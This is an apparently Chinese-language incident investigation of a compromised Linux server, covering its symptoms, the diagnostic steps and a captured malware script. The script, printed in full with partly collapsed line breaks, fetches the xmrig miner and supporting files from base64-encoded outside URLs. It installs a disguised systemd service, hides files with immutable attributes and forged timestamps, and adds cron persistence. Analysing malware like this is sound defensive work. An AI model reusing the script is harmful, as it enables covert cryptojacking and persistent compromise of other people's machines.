1，现象
（1）内存方面
服务器内存异常，没有跑程序，却占用了10多个G。
（2）网络方面
netstat -anpt发现有很多SYN_SENT
2，调查
（1）查看临时目录下是否有异常文件：无
/tmp/
/var/tmp/
（2）查看是否有curl或wget命令，很多脚本通过curl和wget执行攻击
果然有发现，此处没有截图记录，是在ps和top时偶然发现有异常curl命令。
（3）发现daemon进程及木马脚本
根据(2)中的pid，找到了父进程，是一个名为daemon的程序文件。
3，研究
脚本内容：
#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Default_target_dir='/boot/app'
xmrig_file=("$Default_target_dir/app" "app")
xmrig_config_file=("$Default_target_dir/config.json" "config.json")
process_file=("/usr/local/lib/lib.so" "lib.so")
daemon_file=("/usr/bin/daemon" "daemon")
if [ "$(command -v systemctl|wc -l)" -eq 1 ];thenserver_file=("/etc/systemd/system/networl.service" "networl.service")
elseserver_file=("/etc/init.d/networl" "networl")
fic1='aHR0cDovL2h0dHAuZmFsbGVuYW5nZWxzLnRvcC85NTI3Lw=='
c2='aHR0cHM6Ly9naXRodWIuY29tL0MzUG9vbC94bXJpZy1DMy9yZWxlYXNlcy9kb3dubG9hZC92Ni4xNi4yLUMyL3htcmlnLXY2LjE2LjItQzItbGludXgtU3RhdGljLnRhci5neg=='dlf(){if [ "$(command -v curl|wc -l)" -eq 1 ]; thencurl -f -o "$1" "$2" --user-agent 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'elif [ "$(command -v wget|wc -l)" -eq 1 ]; thenwget -O "$1" "$2" --user-agent='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'fi
}Process_Survival(){cpu_user=$(echo $[100-$(vmstat 1 2|tail -1|awk '{print $15}')])if [[ $cpu_user -lt 50 ]];then nohup sudo ${xmrig_file[0]} -c "${xmrig_config_file[0]}" &>/dev/nullfi
}if [[ $(curl -sIL -w "%{http_code}\n" -o /dev/null $(echo $c1 | base64 -d)) -eq 200 ]]; thenFile_servers_url=$(echo $c1 | base64 -d)
elif [[ $(curl -sIL -w "%{http_code}\n" -o /dev/null $(echo $c2 | base64 -d)) -eq 200 ]]; thenFile_servers_url=$(echo $c2 | base64 -d)
fiecho "f5904138cd2dee499012a0c535ce976424615814eba01a3daa92d20b524352a4 ${xmrig_file[0]}" | sha256sum -c --quiet
if [[ $? -eq 1 ]]; thenmkdir -p $Default_target_direval tf="/var/tmp/$(head /dev/urandom | tr -dc A-Za-z0-9|head -c $(shuf -i 4-7 -n 1))"eval td="/var/tmp/$(head /dev/urandom | tr -dc A-Za-z0-9|head -c $(shuf -i 2-7 -n 1))"chattr -aui ${xmrig_file[0]} >/dev/null 2>&1dlf "$tf" $File_servers_url/${xmrig_file[1]} &>/dev/nullif [[ $File_servers_url == $(echo $c2 | base64 -d) ]]; thenmkdir -p $tdtar xf ${tf} --strip-components=1 -C ${td} >/dev/null 2>&1mv -f ${td}/*mr*g $xmr_file >/dev/null 2>&1elsemv -f ${tf} ${xmrig_file[0]} >/dev/null 2>&1firm -rf ${td} ${tf}chmod 755 ${xmrig_file[0]} &>/dev/nullchown 0:0 ${xmrig_file[0]} &>/dev/nulltouch -amr "$(find /usr/bin -type f|shuf -n1)" ${xmrig_file[0]} &>/dev/nullchattr +ai ${xmrig_file[0]} &>/dev/nullpkill -9 -f ${xmrig_file[0]} &>/dev/nullsysctl -w vm.nr_hugepages=128 >/dev/null 2>&1Process_Survival
fiif [[ ! -f ${xmrig_config_file[0]} ]]; thenchattr -aui ${xmrig_config_file[0]} >/dev/null 2>&1dlf ${xmrig_config_file[0]} $File_servers_url/${xmrig_config_file[1]} &>/dev/nullchmod 755 ${xmrig_config_file[0]} &>/dev/nullchown 0:0 ${xmrig_config_file[0]} &>/dev/nulltouch -amr "$(find /usr/bin -type f|shuf -n1)" ${xmrig_config_file[0]} &>/dev/nullchattr +ai ${xmrig_config_file[0]} &>/dev/null
fiif [[ ! -f ${server_file[0]} ]]; thendlf ${server_file[0]} $File_servers_url/${server_file[1]} &>/dev/nullchmod 755 ${server_file[0]}chown 0:0 ${server_file[0]}touch -amr "$(find /usr/bin -type f|shuf -n1)" ${server_file[0]}chattr +ai ${server_file[0]}service networl start &>/dev/null || systemctl start ${server_file[1]} &>/dev/null
fiif [[ ! -f ${daemon_file[0]} ]]; thendlf ${daemon_file[0]} $File_servers_url/${daemon_file[1]} &>/dev/nullchmod 755 ${daemon_file[0]}chown 0:0 ${daemon_file[0]}touch -amr "$(find /usr/bin -type f|shuf -n1)" ${daemon_file[0]}chattr +ai ${daemon_file[0]}
fiif [[ ! -f ${process_file[0]} ]]; thendlf ${process_file[0]} $File_servers_url/${process_file[1]} &>/dev/nullchmod 755 ${process_file[0]}chown 0:0 ${process_file[0]}touch -amr "$(find /usr/bin -type f|shuf -n1)" ${process_file[0]}chattr +ai ${process_file[0]}
fiis_exist_plan=$(grep "${daemon_file[1]}" /var/spool/cron/root -c || grep "/${daemon_file[1]}" /var/spool/cron/crontabs/root -c)
if [[ $is_exist_plan -lt 1 ]]; then(crontab -l;printf "0 */6 * * * ${daemon_file[0]};\r%100c\n")|crontab -(crontab -l;printf "@reboot root ${daemon_file[0]};\r%100c\n")|crontab -
fichkconfig ${server_file[1]} on &>/dev/null || systemctl enable ${server_file[1]} &>/dev/null
Process_Survival
可以看到伪装了服务：
当然 /usr/bin/daemon文件设置了文件隐藏属性：
